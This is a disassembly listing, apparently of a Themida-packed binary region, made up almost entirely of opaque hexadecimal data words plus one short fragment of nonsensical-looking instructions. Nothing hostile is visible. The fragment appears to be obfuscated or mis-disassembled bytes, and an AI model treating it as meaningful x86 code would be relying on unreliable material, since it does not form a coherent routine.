		dd 0C19D286Bh, 8F9C47A9h, 132DB0CEh, 6448E986h,	9434009Ch
		dd 313FC9AAh, 70603119h, 8304D8C9h, 0B4C53640h,	1098000Fh
		dd 0AD3C9867h, 0D10365EAh, 44F9D57Dh, 5B59E011h, 0A87C22h
		dd 0B6E26BC9h, 7084B8F2h, 0DCB4082Ah, 603FC0A1h, 567E82B8h
		dd 3983D909h, 1F1490CAh, 677FA5h, 0BC249111h, 57E65C2Ch
		dd 439EB415h, 0C53B1ED4h, 0D449E1D2h, 6B041187h, 0C4F66894h
		dd 0C057FF86h, 0EAC53F0Ch, 0B14A3073h, 67BB8964h, 8ECDFC02h
		dd 0CE438448h, 5090FF49h, 70046540h, 0DD9CCDECh, 3CACA493h
		dd 0EC00D30h, 241022FBh, 180B601Dh, 81740EB6h, 0BF99CE6Eh
		dd 65362897h, 0E864C048h, 7918383Dh, 0F918FF20h, 0D0A14865h
		dd 0A80D168Bh, 2080B120h, 0A301247h, 0DD300206h, 0F658367h
		dd 0E9A1C468h, 1F0BCB03h, 0D03B7787h, 24909FFh,	2B806104h
		dd 10407EADh, 2C004D78h, 0F88505BCh, 1879C4E5h,	80DC65EBh
		dd 0EF4C303Bh, 248052D0h, 6B12E05Eh, 8883A809h,	3500D422h
		dd 609DF444h, 2018B03Dh, 6D581F31h, 18252E50h, 592B7806h
		dd 0C1FC8B58h, 8481AF9h, 1B21C0D2h, 55944CD4h, 3CB85FE0h
		dd 80E5E0ABh, 0A5D1CD24h, 5568ED62h, 0E1400162h, 0E0945093h
		dd 0ACA8E753h, 791AA3E5h, 1210FCE6h, 2EE400C8h,	0B26E6419h
		dd 74054D3Dh, 5021D611h, 0B10353C8h, 0CDA5575Bh, 60C08C77h
		dd 0C7EA39h, 0AF89EB68h, 0EDE6ABE5h, 9A5A4C2Ch,	0DB36F000h
		dd 0C5F68783h, 21A26580h, 236010E0h, 0CD80774Ch, 586360B5h
		dd 0B21A7B91h, 8F04CF7Dh, 665D5C04h, 83139C80h,	39EE68EBh
		dd 18099CA8h, 7D44C81Bh, 4CD8AB4Dh, 4F606093h, 0E07B03F5h
		dd 52DC073Eh, 0A0ECA81Ah, 7956D502h, 28F02234h,	95BF8D8h
		dd 31CE8685h, 565CD4A0h, 0D201650Eh, 0C5D49AAEh, 0F8200B63h
		dd 64BF00CFh, 19EAA9EEh, 5B00ED7Fh, 0F2530D1Ch,	7EBB66Dh
		dd 0CE2FA71Bh, 7A5D3017h, 350F37A6h, 0ADE9B0Ch,	83040852h
		dd 2081B51Ah, 0CAFDC538h, 7448C8BDh, 3500DC4Dh,	0A1EF7165h
		dd 9475B441h, 25755C00h, 1BD412E5h, 0ACAD07DAh,	96C550CFh
		dd 11294098h, 0CD1CB45Fh, 42D07E18h, 1896901Bh,	0C8027F44h
		dd 0B50BA78h, 681847FCh, 1730B05Bh, 92ECBAD4h, 0D2C41788h
		dd 0C56830E3h, 10C17F0Ah, 0B9DAD545h, 0F3A4DFCh, 14F5835Ch
		dd 36A6EB0Eh, 4A2C80E9h, 800270AFh, 686C74C5h, 0C08CE34h
		dd 2927934h, 0D45DBB80h, 24CD0B58h, 80942889h, 0EF837026h
		dd 0D411C16Dh, 0D802A132h, 0A06502F1h, 0F54C3444h, 0F6B61710h
		dd 7938E44Ch, 20615411h, 340781A3h, 715898B4h, 0C5A706A0h
		dd 308547h, 0BE08FE9Dh,	335083A6h, 99891CB1h, 0C5401019h
		dd 831A899Fh, 70792CD8h, 536828EDh, 0AAE53B38h,	628A244Dh
		dd 6B40048Ch, 0BCA0D294h, 2AC26404h, 41D86267h,	3C2C5DF0h
		dd 4B0801CEh, 3A4504Ch,	0C51DBAC0h, 1812C371h, 0B8C821ECh
		dd 0C0B455AFh, 7C1920D2h, 0AA4A71CEh, 4F3ED041h, 5434C955h
		dd 5C5E5010h, 72650436h, 1EE17883h, 8A17E840h, 0C9A441CEh
		dd 0F0189940h, 5038D5Fh, 0AB4CF3D8h, 0ECD140E2h, 0A8353EA2h
		dd 84B43C26h, 0B59533CDh, 18DC7254h, 3A68FCF1h,	0F4765865h
		dd 2B1E9842h, 51EC8048h, 33E9CF91h, 120D5000h, 28089F7Ch
		dd 83D00924h, 0FC4035CCh, 618AFE25h, 11F03848h,	1DD9DC5Bh
		dd 30045C81h, 240C3302h, 8B63FCFAh, 19FD2810h, 101A6B2Ah
		dd 2B0EFFBBh, 3F33FB01h, 347731CCh, 0FFF438EEh,	7D54688Ch
		dd 4EC08924h, 8C3C62B9h, 54B1FA7Bh, 18530D7Ah, 3E1C8B59h
		dd 1AC74EB6h, 7DD34FFh,	81F814F9h, 5750A0C4h, 86F130E9h
		dd 33BA520Dh, 24B3E00h,	0AF6CA81h, 7D357682h, 0A52D03EAh
		dd 5E2C140h, 17661200h,	0D789B27Bh, 5FE9195Ah, 0F9804844h
		dd 41F74356h, 9C871030h, 0E83C895Ch, 13EA0BFh, 565F0CF9h
		dd 291302BEh, 1810F148h, 89FAD432h, 0C68128E6h,	0EE833B19h
		dd 5134871Bh, 0C688CE02h
		dd 9B2E7068h, 53F1D084h, 0AE2853BBh, 48C3E90Ch,	0E7EC580Eh
		dd 0CF316B60h, 0F5F82159h, 0C18010F1h, 0EBC02FF3h, 0B43C5007h
		dd 0F4E4812Dh, 28E9DCF6h, 59A608DEh, 350CAC83h,	0DAE90C03h
; ---------------------------------------------------------------------------


loc_4E618C:				; CODE XREF: Themida_:004E61A5j
		repne add al, ah
		push	ebp
		mov	ebp, esp
		add	ebp, 3DC6148Fh
		cmp	cl, [edx]
		add	[ecx-47h], dl
		loop	near ptr loc_4E619F+2


loc_4E619F:				; CODE XREF: Themida_:004E619Dj
		db	2Eh
		push	9400EB81h
		jl	short loc_4E618C
		cmp	eax, [ecx]
		retf
; ---------------------------------------------------------------------------
		dw 0AEE9h
		dd 32260868h, 93D63143h, 84FBF9F2h, 0D4EC779Fh,	2973FB89h
		dd 83B157E3h, 6D07E952h, 0D0300C1Ch, 0D8F6C287h, 23583CB3h
		dd 879B04C7h, 99BFE74Ah, 23535457h, 57303D8Fh, 0C2E78B28h
		dd 0F18EE9F5h, 5E0D9A2h, 0FE3B75A3h, 0BEDA1940h, 28395B3Ah
		dd 0DF1FEB6Ch, 4600FB05h, 0E906E6C1h, 0D583687Ah, 0FF550397h
		dd 5DAB2474h, 1204794Ch, 14202C6h, 0A05FEBE9h, 2831F691h
		dd 0EFCCCEB3h, 55E7C33Dh, 0C7F2F729h, 0C2E088Ah, 66344D74h
		dd 12168B48h, 8F4A5450h, 0E986A658h, 1C245AD6h,	0C381D7F7h
		dd 43B54A86h, 0A87290E9h, 5F20701Ah, 6F0D004Ch,	0C1448B12h
		dd 50004E0h, 57EB9EE6h,	558C629h, 0FEE9F789h, 0D08555D8h
		dd 0A18D910h, 0A11BB353h, 8114F710h, 898CA0ECh,	0FBF8B8F6h
		dd 47211CC0h, 603FE91Ch, 0C15A2052h, 550008E7h,	0EF046BBDh
		dd 67ED812Bh, 91290D6Ch, 502AE95Dh, 7965B9F7h, 0F759B50Fh
		dd 0EFBB86D9h, 0C0DDEE58h, 3D919038h, 5DFC296Ch, 1CE80173h
		dd 47FD3C54h, 0B930407Ch, 5DEE9D55h, 2BF07A21h,	9AA05E4h
		dd 9835452h, 19007A8Ch,	8EFC059h, 48DBF780h, 1906AC52h
		dd 228F92E9h, 66776812h, 452A1A45h, 37558054h, 2E2AA26Ch
		dd 0E7895701h, 0F1205650h, 0B71030Dh, 0EE95115h, 0D023D1ACh
		dd 496D2192h, 0F0732050h, 1AAD3E40h, 0C5177D68h, 4550628Dh
		dd 585B3113h, 0D83001F8h, 5129A832h, 0F7121Ah, 0EFC15FFFh
		dd 8A25706h, 1BDF3F80h,	56001D74h, 5B8AB850h, 6D1075Ch
		dd 0B1E948E0h, 0BAAC5CD6h, 92E8213Eh, 0CA5543A2h, 0E74D7A6Fh
		dd 0D4247E21h, 0C7817520h, 6CA61F92h, 9A6739ECh, 0C8F84870h
		dd 4C7BE557h, 0AA1076C3h, 0F74A0F33h, 226109D2h, 925F5407h
		dd 5706117Ch, 5F22BE22h, 90D938CCh, 81E20ED1h, 0C09EFCC2h
		dd 74EB2DDEh, 1141577h,	7E0705D0h, 8B502C30h, 90565DE8h
		dd 64910954h, 898016D6h, 7AE40239h, 7CE80CC1h, 0EDC922C1h
		dd 9A63E9ECh, 14332639h, 0BA0C6C48h, 9334D5A6h,	0E313B11Fh
		dd 507F2611h, 7E60EFBBh, 280EB20Eh, 5A6605D3h, 18C8C380h
		dd 565B3DC5h, 114077A2h, 0E8DDE112h, 0B3F38180h, 209D542h
		dd 685BD801h, 4497784h,	0E947202Ch, 127B4C32h, 180B6059h
		dd 4CF492DAh, 80B4AFC6h, 0B1B276F9h, 0EE01097Ch, 2B883F44h
		dd 8A31CE01h, 4E590800h, 54A626E9h, 35BB8012h, 21091F6Fh
		dd 524ADD48h, 526B6Eh, 3105D580h, 6043B8CDh, 0E1C1368Ch
		dd 81E24108h, 300302ECh, 0C8895187h, 58F59F59h,	426D3487h
		dd 1DD9A90Dh, 22923B62h, 0C84268BFh, 4CBE839Bh,	86410C9h
		dd 0D61DDCD0h, 0E3D02820h, 20347AB5h, 5C4D7426h, 228C4569h
		dd 8B08D275h, 0CA290909h, 2E753201h, 0E9888E4h,	0BF22008h
		dd 348558B6h, 0BBB5880h, 0E91374B3h, 1567E70Ch,	5212DD93h
		dd 913E234h, 7054264Ah,	32CC681Ah, 2756A81h, 2E6334F1h
		dd 6B1F79B0h, 5F43F13Ch, 7E5C0DE9h, 3DACB955h, 470F4197h
		dd 82C3C61Eh, 0BFE64220h, 98D35958h, 0B3585476h, 0E0080892h
		dd 0C6F5010Ah, 74388002h, 0D2620Ch, 0E94903E2h,	1501990Bh
		dd 0FC121EC2h, 0DA774727h, 0D283835Bh, 0EB804C02h, 0C15066EDh
		dd 0D1927B79h, 0F8C114E2h, 77E6C2C0h, 13C6B0Bh,	8A172EAh
		dd 753A8C5Dh, 0FFC65F47h, 395286C8h, 18747E58h,	870A3168h
		dd 0BF80392Ch, 4870F47Ah, 85055938h, 0C027801Dh, 0F45B726Dh
		dd 8343223Bh, 9D0ACFC3h, 81A2C7Dh, 1600202h, 0B7C05BDFh
		dd 6B0657DCh, 5802E930h, 5BC355ABh, 0F4041B59h,	3190AE25h
		dd 202439Dh, 453FB97Bh,	2B50BD0Ah, 8D5FAC1h, 0C1C63132h
		dd 0E2848170h, 97733A09h, 31EC9485h, 86331570h,	0C9845CC9h
		dd 0F2E4D0F0h, 0A7093222h, 6D73111h, 0DE1AE855h, 49101399h
		dd 3325109h, 0F965CEC0h, 0FD2415A4h, 91CA1B46h,	1EB0CA5Ah
		dd 66C9A886h, 6134800Dh, 533E0C1Eh, 0ADDDBE8Dh,	26379FD8h
		dd 1C0A0BCEh, 0D98E8996h, 0DC593F84h, 814A4A83h, 72820827h
		dd 12C0442Ah, 48A55D3h,	131ECE87h, 0D1F7501h, 0A4ED0582h
		dd 75B9A124h, 138F0158h, 4FAFF181h, 2C2E70A0h, 86202160h
		dd 26C180D1h, 8C930E2h,	7E2403FAh, 9011B08h, 6704EB28h
		dd 0C335C249h, 5CB9F5C0h, 2E77FF80h, 39309D1Ch,	9CAAD332h
		dd 94CAFC41h, 18B357F0h, 0AD8F6BF5h, 0FC7F0FBBh, 3586CA31h
		dd 875826DCh, 0C15C022Bh, 434605E6h, 5B0F9075h,	9A23B0D2h
		dd 0A05248C8h, 2E08D050h, 28BEB407h, 606CADEh, 6ACC0DADh
		dd 21CAC9B4h, 1DD444F9h, 0F6CF2A2Eh, 5142825Dh,	0CC900D6Eh
		dd 0E961D694h, 0A02C7A05h, 0D6C00C93h, 0BB821CB1h, 2602B28Bh
		dd 316D2033h, 0FB040D06h, 6E83F2A0h, 435896C0h,	287514C6h
		dd 0DE011116h, 48084910h, 7A718F9Ah, 0FBE6AA1h,	55D30A33h
		dd 1B49B109h, 31C5C75Ch, 4CAFEBD1h, 0BB18B033h,	0D9213F40h
		dd 8D34028Ah, 0B768594Bh, 7F4EB66Eh, 6E3B780h, 0CE5016F2h
		dd 0DA07B283h, 8003EAC0h, 3987E835h, 0C447C2F2h, 199F1C99h
		dd 0DE310129h, 20F2015Bh, 5840236Ch, 0F8C27588h, 3D7E6204h
		dd 660044D3h, 0E95DEB29h, 4FEE5030h, 0E90FF063h, 7464BF26h
		dd 20063881h, 26D1686Bh, 10501763h, 401E19EEh, 0AB61D46Ch
		dd 5A2DB1Ch, 0FD0CC484h, 2D54B2E9h, 95A1ED7h, 0CFC18CF8h
		dd 0CD9153ECh, 746133Dh, 1775AB8Dh, 605F8F5h, 4D8990CBh
		dd 8856E532h, 492E59F3h, 6DA3C760h, 28147831h, 5E00F12Ch
		dd 0F4B8C209h, 23573124h, 150D0636h, 0CA663AE9h, 1EA40126h
		dd 299AB183h, 7D8D6376h, 6FC91A26h, 3668716Ch, 26813D41h
		dd 7266E7A0h, 280C1083h, 2C311B2Fh, 28064078h, 0BEFBCA67h
		dd 28EAA062h, 188E5401h, 75A3E95Ah, 0CC4C085Bh,	0B3530E0Ch
		dd 0B551A2B8h, 27636Ch,	3DB05016h, 0F404C8FEh, 404BE913h
		dd 0DE57E289h, 28D1B0B3h, 81B7584Eh, 918DD345h,	82E1C8AAh
		dd 0C0B60F34h, 710C7866h, 21224A68h, 74EDE914h,	6C622982h
		dd 855A5DAEh, 33937ABAh, 7DEF425Ch, 601F257Fh, 6F00F133h
		dd 3E31EF81h, 7829157Fh, 845E5C7h, 58896E84h, 49491766h
		dd 52D40896h, 1E936616h, 85B5E9B3h, 30E9DDC0h, 0BDDEDEC7h
		dd 9D2E0B16h, 0C200B741h, 21595674h, 0D15A13D5h, 0CD1E80EDh
		dd 621D15DBh, 0C5C04D54h, 969C0D6Ch, 0E3F92EE9h, 407CA6CBh
		dd 0C2FEBAB2h, 5C738072h, 882DF212h, 41D3C11Fh,	300266h
		dd 0E3323AB8h, 2C702D5Fh, 28EA09F8h, 8082743Ah,	5C919A35h
		dd 0AC7894Dh, 99E95758h, 700949A9h, 5348B19h, 48989744h
		dd 0BB399CC9h, 38E3297Bh, 856880DAh, 5D0BD732h,	8BEB011Eh
		dd 56402AE7h, 457E2F0Dh, 256BD5F8h, 0C3940798h,	1265FF5Ch
		dd 0BC7C794h, 0DAA020FDh, 42F49811h, 5A0642C1h,	6311F0Dh
		dd 0F24146DAh, 4CA590D2h, 0FBD1AE79h, 0AA64E91Dh, 0D0ED48A2h
		dd 3C84E027h, 0AB69253h, 34C86801h, 0C5BD7650h,	2E22257Eh
		dd 0E164D688h, 844FA5E9h, 9F2CAC0Ah, 9D68F82h, 8BB21B81h
		dd 322DE838h, 0A6F783Bh, 705F001h, 2834A93Fh, 0E3895380h
		dd 9E1395E9h, 4B68611Eh, 10697626h, 0B9017241h,	0AAA4D4E2h
		dd 386A8181h, 0F1012AD1h, 8189A44h, 0CA12E96Bh,	0A8B68337h
		dd 814740F2h, 5D0DE207h, 0D7B3090Fh, 0E7170280h, 53E0037Fh
		dd 0BF01FC7Ah, 0E9C9DBB0h, 53492630h, 8950EB3Ch, 0D634185Dh
		dd 7AC2563Ah, 6930502Eh, 8E4A0709h, 0FCD0728Fh,	533B6Bh
		dd 59CF01CEh, 815FFA89h
		dd 23E1EA78h, 2AE90D7Bh, 46921029h, 64E10003h, 10D7199h
		dd 1273D34Ch, 75D6FD67h, 545634DEh, 556089F9h, 951C92A0h
		dd 312C84D8h, 1918CEFAh, 9802EF5Fh, 3F117C24h, 4C27A168h
		dd 4F467D09h, 9ACDA320h, 0E25A56D7h, 4863BE6Fh,	0A8017306h
		dd 105B78CEh, 1CA0FA01h, 50510008h, 0AB2A1BB8h,	5736E917h
		dd 6CBE9356h, 930D0633h, 0ACD3F739h, 86F7950h, 0C3551332h
		dd 0D5A25DB3h, 0F4123A61h, 10D36380h, 876562D0h, 5294C1Ah
		dd 9D59D117h, 63BAEC82h, 37C3039Ch, 0B5EF107Fh,	0F75E38E5h
		dd 7E4EF62Eh, 9A7E46Fh,	6A4888E3h, 73454C9Fh, 0D777091Ah
		dd 72A1E49h, 0E5D0CDFEh, 28C3C570h, 45918E8h, 0E6E90A30h
		dd 81C54859h, 2DE20247h, 0D4C665F4h, 0A43E3086h, 0A8098314h
		dd 32211278h, 5C360528h, 681A827Eh, 0E9139AC4h,	0DE9C7FB6h
		dd 0AE83FC1h, 0A9C5212Eh, 0B1666BC5h, 500254A1h, 380AE40Ch
		dd 500A224Fh, 590608EEh, 3C7963E9h, 0F716CA29h,	426806D2h
		dd 9792BCE6h, 0D36986F0h, 40C03310h, 40FA00Dh, 2EE9C8BEh
		dd 0E790D0EBh, 434F6068h, 7F550B33h, 9AFB4855h,	7668F300h
		dd 0DE012B83h, 801BE92Dh, 5709599Eh, 535A041Ch,	0CD6AB168h
		dd 0EABBE471h, 4C576F05h, 16B0E5E9h, 4F293F5Ch,	0E7685984h
		dd 56A8CC52h, 5160ADBCh, 9D46855h, 5D48E752h, 917C7F84h
		dd 2804C7DBh, 15C16F0h,	685EEF20h, 2E999A4Dh, 0A59A73E9h
		dd 0B707FEB2h, 0B04034DAh, 0FCE40227h, 0E3875E64h, 625BF1A7h
		dd 0CDD25CD2h, 1C09064Eh, 0DF63804Fh, 5C444A4Bh, 12050B47h
		dd 0C0FCF924h, 29595F21h, 7EE9D816h, 46B80440h,	244C0C34h
		dd 138D0F7h, 9CF747Fh, 55AE029h, 2D014F99h, 0AA245717h
		dd 10314A81h, 6CFAE958h, 0FCBD052Eh, 0AE05D13Bh, 59000CE2h
		dd 4AEB19B0h, 9ADBF855h, 7C2903F5h, 5B5F0824h, 2CC407D9h
		dd 70342C6Bh, 6A03764Ah, 11A0C17h, 0DB1B530Ch, 0FBC2010Ah
		dd 0E9080595h, 9748A127h, 35423960h, 4006EEC1h,	3F7CB25Fh
		dd 0BC152703h, 0D939AB51h, 7C59CE18h, 0DFC63A8Bh, 49D066E2h
		dd 655B0C13h, 148DA337h, 0C3F8EF83h, 501CF5E9h,	0E3FD0A18h
		dd 0D1800928h, 14BD55E6h, 71CAA00h, 2D5DEE31h, 0AB5E3E16h
		dd 74191D9h, 805FF660h,	0E6788956h, 0BA4EDF2Dh,	0C1E48981h
		dd 34BE5A2Fh, 0F651F564h, 1F9E105Eh, 184FDA50h,	0C03AE64h
		dd 0A909180Eh, 45C60175h, 88B62011h, 80467322h,	887DD5F6h
		dd 0C7699BF2h, 0F4AAACE1h, 722DE7BCh, 0F846850h, 41612047h
		dd 0D2D758C4h, 16540C06h, 5920B342h, 52F71E14h,	7AF5A756h
		dd 95622B30h, 3D061DE5h, 0D0931E47h, 0D3FD9C7Bh, 0FC04144Eh
		dd 2D0BC2E1h, 0F0177B83h, 0A7F538D1h, 17C9014h,	535D26EAh
		dd 0D031162Ch, 0BF570695h, 0EF3E2AF2h, 5FF902FCh, 56646FE9h
		dd 0FAD263E4h, 55D4E00h, 527B5515h, 2DD02801h, 0C339907h
		dd 0F16F285Dh, 62084AB9h, 0B1510342h, 28EA8017h, 8225CA5Bh
		dd 7130E586h, 42026A15h, 0E859C26Dh, 77631C4Dh,	0ACDCF73Fh
		dd 255A492h, 1C5B1CB4h,	0E6706874h, 885360BAh, 0E92752D3h
		dd 988B0897h, 2A722908h, 6908A21Dh, 45325BE4h, 9AEDE618h
		dd 8314DAF7h, 1AB01C2h,	2E6D35A5h, 0D26CA0E9h, 4648680Ah
		dd 0BB668340h, 0C1A04123h, 68F004EBh, 5272733Eh, 41283F8Ah
		dd 0A8C1EED4h, 0FF581C2h, 45CD6EC5h, 0F260C784h, 99257880h
		dd 0C2EA9335h, 266554A1h, 80C01CC9h, 80DDF603h,	302476F5h
		dd 3710C1EFh, 17C58100h, 89467B4Ch, 0E480E6A2h,	50455294h
		dd 3F60BFF0h, 2EA46828h, 24279872h, 0CC9E3D1h, 0C3777636h
		dd 0A7CD024Ah, 49A37730h, 0CE135604h, 2978DD1Bh, 0AE16E2D9h
		dd 79C80FE9h, 162AA988h, 0C0FB74C6h, 575D5477h,	4325684Bh
		dd 505F4104h, 0F2C6D488h, 0E90B1C1Fh, 0EF37E494h, 0C83B6B44h
		dd 3812A220h, 70F0D80h,	9E6197AAh, 0C5EC5450h, 94892D0h
		dd 0E54D9DC7h, 2839AF82h, 0C0095E00h, 5852D0Fh,	0BCBAB900h
		dd 5F0B8447h, 9A4C6268h, 0F79823B2h, 200B58D3h,	8B9DA20h
		dd 24634208h, 800D08BFh, 21FB801h, 7870094Ch, 0E5253F08h
		dd 400F7000h, 4E076F2Dh, 0C289B012h, 7B2EF3B2h,	15669D4Dh
		dd 4310CB0Ch, 0CD800E0Fh, 4BED6772h, 0CA905CB5h, 3D41DC2Dh
		dd 0A3267F3Fh, 31AD8050h, 72668D8h, 7C6F75B4h, 81526D00h
		dd 240583E3h, 26E421Dh,	4ACAE906h, 75CF152h, 81007E9Dh
		dd 513184F2h, 79D6897Ah, 1D69985Ah, 521CAC76h, 0C841C523h
		dd 0C04D6A3Ah, 94044AAFh, 0BB0029CFh, 46999D1Bh, 1ADF312Dh
		dd 51575CB3h, 962C3D31h, 3F3E0101h, 45205B6Eh, 88DA160Ah
		dd 2E9608D4h, 34665D12h, 467430h, 0E281401Ch, 4F2707E8h
		dd 0FBC43CC7h, 0D589BF11h, 5D0ECF82h, 2D5C6902h, 12388E08h
		dd 58F407B9h, 0D52FB514h, 0DB11F207h, 60E59A70h, 0BE5DFC45h
		dd 4B06E887h, 7151BC49h, 299D1048h, 0EB0381FBh,	4A60221Ah
		dd 0E9F3C85Fh, 283BBC4Ch, 600AEEE1h, 56E2710Ch,	673D05BEh
		dd 2C4EAE46h, 0D0ADE989h, 304876CCh, 0CF7D3F6Eh, 0F3256CC2h
		dd 4FCAC16Ah, 2CF7C070h, 0B62F150h, 2904FE01h, 3BBAB8A6h
		dd 69BF4859h, 54D5410Ch, 0A21042Bh, 0DC5512D3h,	0AA8A64D9h
		dd 0F7716DC0h, 3426CBD6h, 0CDC39B48h, 60E549D0h, 7C5F1B2Ch
		dd 1ABF3007h, 5EF7310Bh, 0E9F9210Bh, 5CA26110h,	0C42C9632h
		dd 0C3298629h, 4DF40658h, 0BE14DB60h, 4883100Ah, 4F340317h
		dd 0B3D385F1h, 0D1347E38h, 6FE61C78h, 20C4CD4Ah, 5700C53Ch
		dd 81410387h, 3B4A71E1h, 0C9034B6Fh, 3EEF0BA1h,	0B423C1E0h
		dd 1C0100Ah, 300995C8h,	0F4CC2377h, 6EEB98BAh, 318E9528h
		dd 37E965B8h, 54B2F664h, 789ABCA8h, 5FA6DF40h, 0C6A0F879h
		dd 0DD1D2AC6h, 298C13Ch, 0B246012h, 95E925A7h, 0A3002162h
		dd 1BA6512Ah, 0E967FF6h, 69096804h, 952D4FF3h, 0C8021289h
		dd 0BA00374Dh, 7AF45A54h, 69A3065h, 0D0F75814h,	2E220D07h
		dd 0CB574A2Ah, 35007F67h, 0BA0605h, 0D868563Ch,	5E4A1153h
		dd 6966E92Ch, 0E2CE8180h, 0EC1D6D67h, 2C2209F6h, 0CF806AB5h
		dd 574A5BC3h, 0EDF22928h, 218C084Ah, 56249653h,	2257E92Fh
		dd 2B41C0D9h, 85C5808Fh, 1A8920F4h, 7E7F6B02h, 0F75EF507h
		dd 0EE24E9DDh, 0F84611F2h, 0FF69EF48h, 132D8C84h, 2B68307h
		dd 0ED4DFAEDh, 6B992430h, 0D10F1357h, 10148A06h, 3DA2BF04h
		dd 0A9832D97h, 10D05A6h, 94D7E9F8h, 806DA933h, 8D2A86C1h
		dd 0C30CC131h, 316D5226h, 1A95FB3Ch, 14090C08h,	4C16C02h
		dd 5380F5D9h, 0F2AE2BBh, 0A529029h, 0DC16BFCBh,	0CF843A8Ch
		dd 0F8034F88h, 0FC962C2Fh, 0DC276AEh, 305A011Dh, 30E925D0h
		dd 274ACDA4h, 0B90567CEh, 42D02AAh, 551980h, 4D49D4B8h
		dd 40F87Eh, 0F74E5C26h,	239805D8h, 0E92FF104h, 0B88D2C54h
		dd 8F4B5C28h, 9E937EFh,	324C5209h, 0E8137415h, 8CF61E44h
		dd 6527E69Ch, 0EDAA013h, 3457055Ch, 0E8657C6Ah,	24010F1h
		dd 0E9C82159h, 66B5689Eh, 24440781h, 772CA502h,	16BD9155h
		dd 0A172F632h, 61C17CF7h, 0C53020Eh, 0C8AE9BFAh, 8021CCE9h
		dd 0EFE4D588h, 6BB4B2C4h, 0A23C42FDh, 3411F910h, 0EC56B35Eh
		dd 55585B04h, 4A4EDA82h, 8169005Eh, 6D7F3h, 6851629Ah
		dd 7A701EE5h, 0BC4D1B90h, 6B75529Bh, 6764488Eh,	0B850801Ch
		dd 0C40B3600h, 79EF0D3Dh, 403A09FCh, 5510E0E9h,	2C488B54h
		dd 6B76C413h, 99A2EEB8h
		dd 52C1B0D8h, 4A443A4Ch, 68CAD542h, 2653F3F6h, 12155B5Dh
		dd 0C1CDC470h, 7C61C107h, 4BA4D435h, 680F3185h,	592F80A5h
		dd 325BDA89h, 5F80D001h, 0A0BC74D1h, 3C33254Dh,	0D53F3B90h
		dd 0F9B09A97h, 96654927h, 63A11227h, 10A8A4C4h,	0B5C4A6C6h
		dd 13A8B53Ch, 5BF40B17h, 5C0240A3h, 66B86812h, 78C98FCDh
		dd 0C0D2F600h, 0A05E237h, 67F9ABC3h, 497142A1h,	0B8BEC814h
		dd 0F821D297h, 0A56CBBC8h, 448452C9h, 0FA6A84Eh, 0C2D830ACh
		dd 0FA6C7A68h, 0ECB11695h, 12DD1680h, 0DE58F469h, 0B2B05B76h
		dd 0E6EF8107h, 819FA42Bh, 3055E9FAh, 0BDD8279Eh, 1AEC74CBh
		dd 628373C1h, 0C5CBEDEh, 6A84129Bh, 16390452h, 0E971433Fh
		dd 1B4B31C0h, 5CCAEDC2h, 32FF5032h, 0BC8B1090h,	0FF5549ABh
		dd 13A12662h, 4104EB01h, 0EEC8D103h, 0E8BE8487h, 0CA23E942h
		dd 53FB6ABAh, 0ACE98F38h, 9ECFFD79h, 0E4D25593h, 65A3CC53h
		dd 0E7D7F50h, 1199D71h,	83810D6h, 0B7EDE918h, 1A9F02B8h
		dd 20145270h, 5B03DE67h, 0D028C004h, 0C89A62Ch,	0C340E95Ah
		dd 80B08320h, 0FB7B1B80h, 76485383h, 0DB82662Fh, 0C02BC067h
		dd 0E752CC92h, 0E009389Dh, 36B05002h, 60FEBF0Ch, 80178A71h
		dd 0E1ED72Dh, 208C1A0Bh, 35F1470h, 815AD329h, 2DA12CE3h
		dd 0E50C8907h, 43350519h, 3C3290D0h, 490B9D2Bh,	0C955E56Ch
		dd 2C833082h, 732B5F03h, 705E7C1h, 0BD26A012h, 4BCFF14Fh
		dd 2006F92Dh, 59581485h, 22419E91h, 0EF015D77h,	0C553F5F4h
		dd 80D1F71Ah, 0D3731286h, 0B80C0263h, 58A0B33Eh, 21921589h
		dd 20FB959h, 0F22A4B66h, 5200D6BAh, 2D60EED4h, 5AB852D4h
		dd 77C1013h, 4F8EE912h,	49C968E8h, 0B1D6672Eh, 0EADE89Fh
		dd 0C10C15C4h, 64D69DFDh, 187AD43Ah, 315C1F93h,	0BA52C30Ch
		dd 90012F2Ch, 884554C7h, 30567753h, 0B90E6F79h,	2B2D37D1h
		dd 5A4CC202h, 0D2FE7113h, 3EF306DBh, 0EE0285D2h, 7DA81641h
		dd 0AC07E15Dh, 262202F8h, 0A744F6E9h, 115852A2h, 9035FB72h
		dd 34241AB9h, 8A4FED56h, 26510CC8h, 63BB897Dh, 6EDC1307h
		dd 0FBA96865h, 80565284h, 9079C1Fh, 0CE48337Dh,	69C05A6Fh
		dd 7B537B6h, 5AF528A6h,	0D1A8D453h, 70D3F72Ah, 3312966Ch
		dd 12013CBBh, 0C78F43ADh, 8983092Fh, 0EED16D80h, 0C10CCE81h
		dd 0C62500Ch, 0EF4907A6h, 0E7DEF768h, 75BE7F6h,	0BCC6E038h
		dd 5C51F933h, 308920F6h, 28251F70h, 9D08B810h, 33B0462h
		dd 0C205E9C1h, 57485AC9h, 0D1B0E589h, 0A258DF2Eh, 0B4B9C344h
		dd 3FE38F24h, 20B8E796h, 9178D46Eh, 0DD896707h,	0C539315Bh
		dd 1696267Ch, 0E14BC9FCh, 584C643Ch, 2C28316h, 91C4B8C7h
		dd 0B902BFBCh, 16D70F7Bh, 0EC31D2F2h, 65041AC5h, 373143C9h
		dd 2525D5F5h, 0E99C9F43h, 0C4310523h, 59C53F7Ch, 0C592B950h
		dd 0BF8C324Fh, 0CAB10051h, 0DAF692B2h, 158C280h, 99C74A70h
		dd 261478D6h, 44F1300Eh, 0F130E850h, 958546E9h,	0B85AD701h
		dd 94EF0E88h, 5E516441h, 41F5A2A0h, 7464406Ch, 7D4AD610h
		dd 34C782C0h, 982FF25Bh, 64E34h, 98FB2B6Ah, 1F9E2917h
		dd 68E801C0h, 521359BFh, 206E5480h, 664DE909h, 4025C2h
		dd 0CC435F5Fh, 72350B15h, 0FF8017A8h, 6ABBE9C7h, 348290BEh
		dd 4231811Ah, 890A4A0Dh, 260D8236h, 54304215h, 7C05627Dh
		dd 30797FE1h, 4B75E23Eh, 8E048097h, 606EFC1Dh, 3DBDE653h
		dd 22ED17E8h, 95FC211h,	91D47DEh, 0C8D3F675h, 52E6E22Dh
		dd 8F85CFF1h, 2637B292h, 5C921957h, 1754D754h, 0AE1F7758h
		dd 9444DBCBh, 0EA8327FDh, 0E9251DC4h, 30D960CBh, 9001F254h
		dd 735A489h, 0A660E3C9h, 65D8B23Dh, 80E1FF54h, 3EB0EBh
